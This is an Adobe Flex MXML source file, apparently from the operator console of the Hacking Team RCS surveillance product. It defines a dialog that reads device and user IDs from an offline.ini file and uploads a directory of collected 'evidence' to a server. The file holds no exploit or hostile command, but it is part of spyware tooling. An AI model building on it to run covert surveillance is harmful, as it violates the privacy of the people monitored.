hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/evidences/EvidenceImport.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<s:TitleWindow xmlns:fx="http://ns.adobe.com/mxml/2009"
                             xmlns:s="library://ns.adobe.com/flex/spark"
                             xmlns:mx="library://ns.adobe.com/flex/mx"
                             width="450"
                             height="250"
                             close="closeMe(event)"
                             title="{R.get('EVIDENCE_IMPORT')}">
    <fx:Script>
        <![CDATA[
            import it.ht.rcs.console.evidence.controller.EvidenceManager;
            import it.ht.rcs.console.utils.AlertPopUp;
            
            import locale.R;
            
            import mx.events.CloseEvent;
            import mx.managers.PopUpManager;
            import mx.rpc.events.FaultEvent;
            import mx.rpc.events.ResultEvent;

            private var dirReference:File;

            private var contents:Array;
            private var uploadIndex:uint;
            private var dataTotal:Object;
      
      private var cookie:String;
      private var sync_stat:Object;


            protected function closeMe(event:*):void
            {
                PopUpManager.removePopUp(this);
            }

            protected function browse(event:MouseEvent):void
            {
                dirReference=new File();
                dirReference.addEventListener(Event.SELECT, dirSelection);
                dirReference.browseForDirectory('');
            }

            private function dirSelection(event:Event):void
            {
                var pattern:RegExp;
                var results:Array;
                var fileStream:FileStream=new FileStream();
                var buffer:ByteArray=new ByteArray();
                var iniFile:File=new File(dirReference.nativePath + "/offline.ini");

                if (!iniFile.exists)
                {
                    AlertPopUp.show(R.get('EVIDENCE_IMPORT_INVALID_DIR'));
                    return;
                }

                dir.text=dirReference.name;

                fileStream.open(iniFile, FileMode.READ);
                fileStream.readBytes(buffer);

                pattern=/FACTORY=(\w*)/;
                results=buffer.toString().match(pattern);
                if (results)
                    factory.text=results[1];

                pattern=/INSTANCE=(\w*)/;
                results=buffer.toString().match(pattern);
                if (results)
                    instance.text=results[1];


                pattern=/PLATFORM=(\w*)/;
                results=buffer.toString().match(pattern);
                if (results)
                    platform.text=results[1];

                pattern=/USERID=(\w*)/;
                results=buffer.toString().match(pattern);
                if (results)
                    user.text=results[1];

                pattern=/DEVICEID=(\w*)/;
                results=buffer.toString().match(pattern);
                if (results)
                    device.text=results[1];

                importbtn.enabled=true;
            }

            protected function importDir(event:MouseEvent):void
            {
                currentState="uploading";
                contents=dirReference.getDirectoryListing();
                dataTotal={bytesTotal: contents.length - 1, bytesLoaded: 0};

                //no files inside the directory
                if (dataTotal.bytesTotal <= 0)
                {
                    currentState='select'
                    AlertPopUp.show(R.get('UPLOAD_ERROR', [""]));
                    return;
                }
                progTotal.source=dataTotal;
        cookie=String(String(Math.random()*1000000000)+String(Math.random()*1000000000)).replace(".","").replace(".","");//String(new Date().time)
        sync_stat={total:dataTotal.bytesTotal, begin: (new Date().time) / 1000};
        // we don't know the version, so we put 0
                EvidenceManager.instance.sync_start(factory.text, instance.text, platform.text, '0', user.text, device.text, cookie, sync_stat, function(event:ResultEvent):void
                {
                    EvidenceManager.instance.uploadEvidence(factory.text + ':' + instance.text, contents[uploadIndex], onUploadResult, onUploadFault)

                })
            }


            private function onUploadResult(e:Event):void
            {
                if (uploadIndex < contents.length - 1)
                {
                    uploadIndex++;
                    dataTotal['bytesLoaded']++;
                    if (contents[uploadIndex].name.indexOf('offline.ini') == -1)
                        EvidenceManager.instance.uploadEvidence(factory.text + ':' + instance.text, contents[uploadIndex], onUploadResult, onUploadFault);
                }
        else if(uploadIndex == contents.length - 1)
        {
          sync_stat={count:uploadIndex, end: (new Date().time) / 1000};
          EvidenceManager.instance.sync_stop(factory.text, instance.text, platform.text, '0', user.text, device.text, cookie, sync_stat)
        }

            }

            private function onUploadFault(e:Event):void
            {
                AlertPopUp.show(R.get('UPLOAD_ERROR', [contents[uploadIndex].name]));
            }
        ]]>
    </fx:Script>
    <s:states>
        <s:State name="select"/>
        <s:State name="uploading"/>
    </s:states>

    <s:VGroup left="20"
                        top="15"
                        includeIn="select">
        <s:Button includeIn="select"
                            label="{R.get('SELECT_DIRECTORY')}..."
                            click="browse(event)"/>
        <s:Form>
            <s:FormItem label="Directory:">
                <s:Label id="dir"
                                 includeIn="select"
                                 maxDisplayedLines="1"
                                 width="300"/>
            </s:FormItem>
            <s:FormItem label="Factory:">
                <s:Label id="factory"
                                 includeIn="select"/>
            </s:FormItem>
            <s:FormItem label="Instance:">
                <s:Label id="instance"
                                 includeIn="select"/>
            </s:FormItem>
            <s:FormItem label="Platform:">
                <s:Label id="platform"
                                 includeIn="select"/>
            </s:FormItem>
            <s:FormItem label="User:">
                <s:Label id="user"
                                 includeIn="select"/>
            </s:FormItem>
            <s:FormItem label="Device:">
                <s:Label id="device"
                                 includeIn="select"/>
            </s:FormItem>
        </s:Form>
    </s:VGroup>
    <s:HGroup right="20"
                        bottom="15"
                        includeIn="select">
        <s:Button id="importbtn"
                            enabled="false"
                            label="{R.get('IMPORT')}..."
                            click="importDir(event)"/>
        <s:Button id="cancelbtn"
                            enabled="true"
                            label="{R.get('CANCEL')}"
                            click="closeMe(event)"/>
    </s:HGroup>


    <s:Label includeIn="uploading"
                     left="20"
                     fontWeight="bold"
                     text="{R.get('EVIDENCE_IMPORTING')}..."
                     verticalCenter="-20"/>

    <mx:ProgressBar id="progTotal"
                                    includeIn="uploading"
                                    left="20"
                                    right="20"
                                    label="%3%%"
                                    labelPlacement="right"
                                    mode="polled"
                                    verticalCenter="0"/>

    <s:Button includeIn="uploading"
                        right="20"
                        bottom="15"
                        enabled="{progTotal.percentComplete == 100}"
                        label="{R.get('CLOSE')}"
                        click="closeMe(event)"/>

</s:TitleWindow>